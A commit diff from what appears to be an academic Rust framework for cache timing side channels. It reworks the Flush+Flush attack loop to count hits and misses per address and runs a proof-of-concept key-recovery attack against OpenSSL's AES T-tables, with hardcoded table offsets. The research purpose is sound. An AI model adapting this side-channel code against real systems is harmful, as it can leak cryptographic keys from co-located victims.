Fix flush and flush in single address mode : works cleanly with prefetchers enabled
This commit is contained in:
parent
0b499abe8a
commit
61189da4ed
@ -66,6 +66,21 @@ pub trait SimpleCacheSideChannel {
|
||||
// TODO
|
||||
}
|
||||
|
||||
pub struct TableAttackResult {
|
||||
pub addr: *const u8,
|
||||
hit: u32,
|
||||
miss: u32,
|
||||
}
|
||||
|
||||
impl TableAttackResult {
|
||||
fn get(&self, cache_status: CacheStatus) -> u32 {
|
||||
match cache_status {
|
||||
CacheStatus::Hit => self.hit,
|
||||
CacheStatus::Miss => self.miss,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub trait TableCacheSideChannel {
|
||||
//type ChannelFatalError: Debug;
|
||||
/// # Safety
|
||||
@ -82,7 +97,8 @@ pub trait TableCacheSideChannel {
|
||||
&'a mut self,
|
||||
addresses: impl IntoIterator<Item = *const u8> + Clone,
|
||||
victim: &'b dyn Fn(),
|
||||
) -> Result<Vec<(*const u8, CacheStatus)>, ChannelFatalError>;
|
||||
num_iteration: u32,
|
||||
) -> Result<Vec<TableAttackResult>, ChannelFatalError>;
|
||||
}
|
||||
|
||||
pub trait SingleAddrCacheSideChannel: Debug {
|
||||
@ -143,14 +159,18 @@ impl<T: SingleAddrCacheSideChannel> TableCacheSideChannel for T {
|
||||
}
|
||||
//type ChannelFatalError = T::SingleChannelFatalError;
|
||||
|
||||
default unsafe fn attack<'a, 'b, 'c>(
|
||||
default unsafe fn attack<'a, 'b>(
|
||||
&'a mut self,
|
||||
addresses: impl IntoIterator<Item = *const u8> + Clone,
|
||||
victim: &'c dyn Fn(),
|
||||
) -> Result<Vec<(*const u8, CacheStatus)>, ChannelFatalError> {
|
||||
victim: &'b dyn Fn(),
|
||||
num_iteration: u32,
|
||||
) -> Result<Vec<TableAttackResult>, ChannelFatalError> {
|
||||
let mut result = Vec::new();
|
||||
|
||||
for addr in addresses {
|
||||
let mut hit = 0;
|
||||
let mut miss = 0;
|
||||
for iteration in 0..100 {
|
||||
match unsafe { self.prepare_single(addr) } {
|
||||
Ok(_) => {}
|
||||
Err(e) => match e {
|
||||
@ -163,9 +183,7 @@ impl<T: SingleAddrCacheSideChannel> TableCacheSideChannel for T {
|
||||
self.victim_single(victim);
|
||||
let r = unsafe { self.test_single(addr) };
|
||||
match r {
|
||||
Ok(status) => {
|
||||
result.push((addr, status));
|
||||
}
|
||||
Ok(status) => {}
|
||||
Err(e) => match e {
|
||||
SideChannelError::NeedRecalibration => panic!(),
|
||||
SideChannelError::FatalError(e) => {
|
||||
@ -175,6 +193,38 @@ impl<T: SingleAddrCacheSideChannel> TableCacheSideChannel for T {
|
||||
},
|
||||
}
|
||||
}
|
||||
for _iteration in 0..num_iteration {
|
||||
match unsafe { self.prepare_single(addr) } {
|
||||
Ok(_) => {}
|
||||
Err(e) => match e {
|
||||
SideChannelError::NeedRecalibration => unimplemented!(),
|
||||
SideChannelError::FatalError(e) => return Err(e),
|
||||
SideChannelError::AddressNotReady(_addr) => panic!(),
|
||||
SideChannelError::AddressNotCalibrated(_addr) => unimplemented!(),
|
||||
},
|
||||
}
|
||||
self.victim_single(victim);
|
||||
let r = unsafe { self.test_single(addr) };
|
||||
match r {
|
||||
Ok(status) => match status {
|
||||
CacheStatus::Hit => {
|
||||
hit += 1;
|
||||
}
|
||||
CacheStatus::Miss => {
|
||||
miss += 1;
|
||||
}
|
||||
},
|
||||
Err(e) => match e {
|
||||
SideChannelError::NeedRecalibration => panic!(),
|
||||
SideChannelError::FatalError(e) => {
|
||||
return Err(e);
|
||||
}
|
||||
_ => panic!(),
|
||||
},
|
||||
}
|
||||
}
|
||||
result.push(TableAttackResult { addr, hit, miss });
|
||||
}
|
||||
Ok(result)
|
||||
}
|
||||
}
|
||||
@ -204,31 +254,26 @@ impl<T: MultipleAddrCacheSideChannel> SingleAddrCacheSideChannel for T {
|
||||
}
|
||||
}
|
||||
|
||||
fn table_cache_side_channel_calibrate_impl<T: MultipleAddrCacheSideChannel>(
|
||||
s: &mut T,
|
||||
addresses: impl IntoIterator<Item = *const u8> + Clone,
|
||||
) -> Result<(), ChannelFatalError> {
|
||||
unsafe { s.calibrate(addresses) }
|
||||
}
|
||||
|
||||
// TODO limit number of simultaneous tested address + randomise order ?
|
||||
/*
|
||||
impl<T: MultipleAddrCacheSideChannel> TableCacheSideChannel for T {
|
||||
unsafe fn calibrate(
|
||||
&mut self,
|
||||
addresses: impl IntoIterator<Item = *const u8> + Clone,
|
||||
) -> Result<(), ChannelFatalError> {
|
||||
table_cache_side_channel_calibrate_impl(self, addresses)
|
||||
//self.calibrate(addresses)
|
||||
unsafe { s.calibrate(addresses) }
|
||||
}
|
||||
//type ChannelFatalError = T::MultipleChannelFatalError;
|
||||
|
||||
/// # Safety
|
||||
///
|
||||
/// addresses must contain only valid pointers to read.
|
||||
unsafe fn attack<'a, 'b, 'c>(
|
||||
unsafe fn attack<'a, 'b>(
|
||||
&'a mut self,
|
||||
addresses: impl IntoIterator<Item = *const u8> + Clone,
|
||||
victim: &'c dyn Fn(),
|
||||
) -> Result<Vec<(*const u8, CacheStatus)>, ChannelFatalError> {
|
||||
victim: &'b dyn Fn(),
|
||||
num_iteration: u32,
|
||||
) -> Result<Vec<TableAttackResult>, ChannelFatalError> {
|
||||
match unsafe { MultipleAddrCacheSideChannel::prepare(self, addresses.clone()) } {
|
||||
Ok(_) => {}
|
||||
Err(e) => match e {
|
||||
@ -252,7 +297,7 @@ impl<T: MultipleAddrCacheSideChannel> TableCacheSideChannel for T {
|
||||
Ok(v) => Ok(v),
|
||||
}
|
||||
}
|
||||
}
|
||||
}*/
|
||||
|
||||
pub struct AESTTableParams<'a> {
|
||||
pub num_encryptions: u32,
|
||||
@ -321,34 +366,21 @@ pub unsafe fn attack_t_tables_poc(
|
||||
aes_ige(&plaintext, &mut result, &key_struct, &mut iv, Mode::Encrypt);
|
||||
};
|
||||
|
||||
for _ in 0..100 {
|
||||
let r = unsafe { side_channel.attack(addresses.clone(), &victim) };
|
||||
let r =
|
||||
unsafe { side_channel.attack(addresses.clone(), &victim, parameters.num_encryptions) };
|
||||
match r {
|
||||
Ok(v) => {
|
||||
for (probe, status) in v {
|
||||
if status == Miss {
|
||||
*timings.get_mut(&probe).unwrap().entry(b).or_insert(0) += 0;
|
||||
}
|
||||
for table_attack_result in v {
|
||||
*timings
|
||||
.get_mut(&table_attack_result.addr)
|
||||
.unwrap()
|
||||
.entry(b)
|
||||
.or_insert(0) += table_attack_result.get(Miss);
|
||||
}
|
||||
}
|
||||
Err(_) => panic!("Attack failed"),
|
||||
}
|
||||
}
|
||||
|
||||
for _ in 0..parameters.num_encryptions {
|
||||
let r = unsafe { side_channel.attack(addresses.clone(), &victim) };
|
||||
match r {
|
||||
Ok(v) => {
|
||||
for (probe, status) in v {
|
||||
if status == Miss {
|
||||
*timings.get_mut(&probe).unwrap().entry(b).or_insert(0) += 1;
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(_) => panic!("Attack failed"),
|
||||
}
|
||||
}
|
||||
}
|
||||
for probe in addresses {
|
||||
print!("{:p}", probe);
|
||||
for b in (u8::min_value()..=u8::max_value()).step_by(16) {
|
||||
|
@ -3,7 +3,7 @@
|
||||
use aes_t_tables::SideChannelError::{AddressNotCalibrated, AddressNotReady};
|
||||
use aes_t_tables::{
|
||||
attack_t_tables_poc, AESTTableParams, CacheStatus, ChannelFatalError,
|
||||
MultipleAddrCacheSideChannel, SideChannelError,
|
||||
MultipleAddrCacheSideChannel, SideChannelError, SingleAddrCacheSideChannel,
|
||||
};
|
||||
use cache_utils::calibration::{
|
||||
get_cache_slicing, only_flush, CalibrateOperation2T, CalibrationOptions, HistParams, Verbosity,
|
||||
@ -396,7 +396,7 @@ fn main() {
|
||||
openssl_path: &open_sslpath,
|
||||
},
|
||||
)
|
||||
};
|
||||
}; /**/
|
||||
let mut side_channel_ff = FlushAndFlush::new().unwrap();
|
||||
unsafe {
|
||||
attack_t_tables_poc(
|
||||
@ -409,4 +409,17 @@ fn main() {
|
||||
},
|
||||
)
|
||||
};
|
||||
/*
|
||||
let mut side_channel_ff = SingleFlushAndFlush::new().unwrap();
|
||||
unsafe {
|
||||
attack_t_tables_poc(
|
||||
&mut side_channel_ff,
|
||||
AESTTableParams {
|
||||
num_encryptions: 1 << 15,
|
||||
key: [0; 32],
|
||||
te: [0x1b5d40, 0x1b5940, 0x1b5540, 0x1b5140], // adjust me (should be in decreasing order)
|
||||
openssl_path: &open_sslpath,
|
||||
},
|
||||
)
|
||||
};*/
|
||||
}
|
||||
|
Loading…
Reference in New Issue
Block a user